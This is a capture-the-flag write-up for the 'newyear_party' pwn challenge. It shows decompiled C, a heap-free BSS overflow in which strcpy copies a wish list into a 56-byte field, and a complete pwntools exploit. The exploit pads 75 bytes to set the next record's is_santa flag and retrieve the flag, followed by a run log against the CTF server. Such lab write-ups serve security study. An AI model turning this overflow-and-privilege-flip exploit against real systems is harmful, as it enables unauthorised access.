newyearshow
- Category
-
Pwn - Files
- newyear_party
- Description
- Wow, I've never seen a show like this before.
Starting with the binary’s security mitigations:
❯ checksec newyear_party Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: YesThe binary has PIE and NX enabled, but lacks a stack canary. Since the vulnerability involves a global (BSS) buffer overflow, the stack canary and NX protections don’t prevent us from corrupting adjacent global variables.
Program Analysis
In this challenge, we were given a binary named newyearshow. Let’s try to examine the decompiled code.
Data Structures
The program organizes data using a global array of Helper structures stored in the .bss section:
typedef struct { int is_santa; // 0 = Regular Helper, 1 = Santa Claus char username[44]; // Helper's public name char password[32]; // Secret login phrase char wish_list[56]; // The user's holiday wishes} Helper;
Helper helpers[10]; // Global table in BSSEach helper is represented by a structure packed contiguously in memory. As we’ll see, the proximity of these fields in the .bss section is central to the challenge.
main
int main(void) { setvbuf(stdout, (char *)0x0, 2, 0); setvbuf(stdin, (char *)0x0, 2, 0); initialize_santa(); // Pre-populates the first slots main_menu(); // Interactive loop return 0;}The main() function initializes the environment by setting up unbuffered I/O, pre-populating the helpers array with some initial data via initialize_santa(), and then handing control over to the interactive main_menu().
main_menu
void main_menu(void) { int choice; char wish_buffer[112]; char password_buffer[32]; char username_buffer[44];
while (1) { display_main_menu(); if (scanf("%d", &choice) != 1) { getchar(); // clear invalid input continue; } getchar(); // consume newline
if (choice == 1) { printf("Enter your name: "); scanf("%43s", username_buffer); printf("Enter the secret phrase: "); scanf("%31s", password_buffer); login_helper(username_buffer, password_buffer); } else if (choice == 2) { printf("Enter your desired name: "); scanf("%43s", username_buffer); printf("Create a secret phrase: "); scanf("%31s", password_buffer); printf("What is on your wish list?: "); scanf("%111s", wish_buffer); register_helper(username_buffer, password_buffer, wish_buffer); } else if (choice == 3) { display_all_helpers(); } // ... }}The main_menu() handles the primary user interactions, allowing users to sign in, register as a helper, or view all registered helpers. Notably, the wish_buffer used for registration is 112 bytes long, which matches the size used in the scanf() call.
register_helper
void register_helper(char *username, char *password, char *wish) { int i; // ... check for existing name ... for (i = 0; i < 10; i++) { if (helpers[i].username[0] == '\0') { helpers[i].is_santa = 0; strcpy(helpers[i].username, username); strcpy(helpers[i].password, password); strcpy(helpers[i].wish_list, wish); printf("Welcome to the workshop, %s!\n", username); return; } } // ...}The register_helper() function adds a new entry to the helpers array. It explicitly sets the is_santa flag to 0. However, there’s a potential issue: it uses strcpy() to copy the wish argument into helpers[i].wish_list. If the input wish is longer than 56 bytes, it will overflow into the next structure in the .bss section.
update_wish_list
void update_wish_list(Helper *helper) { char new_wish_buffer[112]; printf("Enter your new wish list: "); scanf("%111s", new_wish_buffer); strcpy(helper->wish_list, new_wish_buffer); // [!] VULNERABILITY puts("Your wish list has been updated!");}This is where the core vulnerability lies. The update_wish_list() function allows a signed-in user to update their wish_list. It reads up to 111 bytes into a local buffer and then uses strcpy() to copy it into the helper->wish_list field, which is only 56 bytes. This leads to a BSS Overflow, allowing us to overwrite the fields of the next helper in the array.
get_special_gift
void get_special_gift(void) { FILE *fp = fopen("flag.txt", "r"); // ... read and print flag ...}The get_special_gift() function is the ultimate goal. It is called from the helper_menu() if the condition if (helper->is_santa == 1) is met. By leveraging the BSS overflow in update_wish_list(), we can overwrite the is_santa field of a helper we control (or one we register subsequently) to gain access to the flag.
Now that we know the bug, let’s move to the exploitation part.
Exploitation
Memory Layout & Overflow
Because the helpers array is in the .bss section, the structures are laid out contiguously:
+------------------------+| is_santa (4 bytes) | <--- helpers[i].is_santa+------------------------+| username (44 bytes) |+------------------------+| password (32 bytes) |+------------------------+| wish_list (56 bytes) | <--- Payload start+------------------------+| is_santa (4 bytes) | <--- helpers[i+1].is_santa OVERWRITTEN+------------------------+By overflowing helpers[i].wish_list, we can directly reach and overwrite helpers[i+1].is_santa.
- Preparation: Register two helpers (
HelperandSanta). - Corruption: Sign in as
Helperand trigger the overflow via the wishlist update. - Payload: Use 75 bytes of padding to reach the next slot’s
is_santafield and set it to1. - Retrieval: Sign in as
Santaand grab the flag.
Exploit Script
from pwn import *
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) else: return process([exe] + argv, *a, **kw)
gdbscript = '''init-pwndbgset follow-fork-mode parentset follow-exec-mode samecontinue'''.format(**locals())
exe = './newyear_party'elf = context.binary = ELF(exe, checksec=False)context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'
def sa(delim,data): return io.sendafter(delim,data)def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)
io = start()
def register(name,secret,list): sla(b"> ", b"2") sla(b"name: ", str(name).encode()) sla(b"phrase: ", str(secret).encode()) sla(b"list?: ", str(list).encode())
def signin(name,secret): sla(b"> ", b"1") sla(b"name: ", str(name).encode()) sla(b"phrase: ", str(secret).encode())
# 1. Register two helpersregister(b'Helper', b'pass', b'wish')register(b'Santa', b'pass', b'wish')
# 2. Sign in as the first helpersignin(b'Helper', b'pass')
# 3. Payload: 75 bytes of padding + p32(1) to set is_santa = 1payload = b"C" * 75 + p32(1)
# 4. Overwrite next helper's statussla(b"> ", b"2")sla(b": ", payload)
# 5. Switch to the now-elevated Santasla(b"> ", b"4")signin(b'Santa', b'pass')
# 6. Retrieve flagsla(b"> ", b"3")
io.interactive()Running the exploit successfully elevates our privileges and retrieves the flag.
$ python3 xploit.py REMOTE ctf.mf.grsu.by 9074[+] Opening connection to ctf.mf.grsu.by on port 9074: Done[DEBUG] Sent 0x50 bytes: 00000000 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 │CCCC│CCCC│CCCC│CCCC│ * 00000040 43 43 43 43 43 43 43 43 43 43 43 01 00 00 00 0a │CCCC│CCCC│CCC·│····│[*] Switching to interactive modeYour Special Gift: grodno{c42495659aa498fb2bc873758a5909cf}Flag: grodno{c42495659aa498fb2bc873758a5909cf}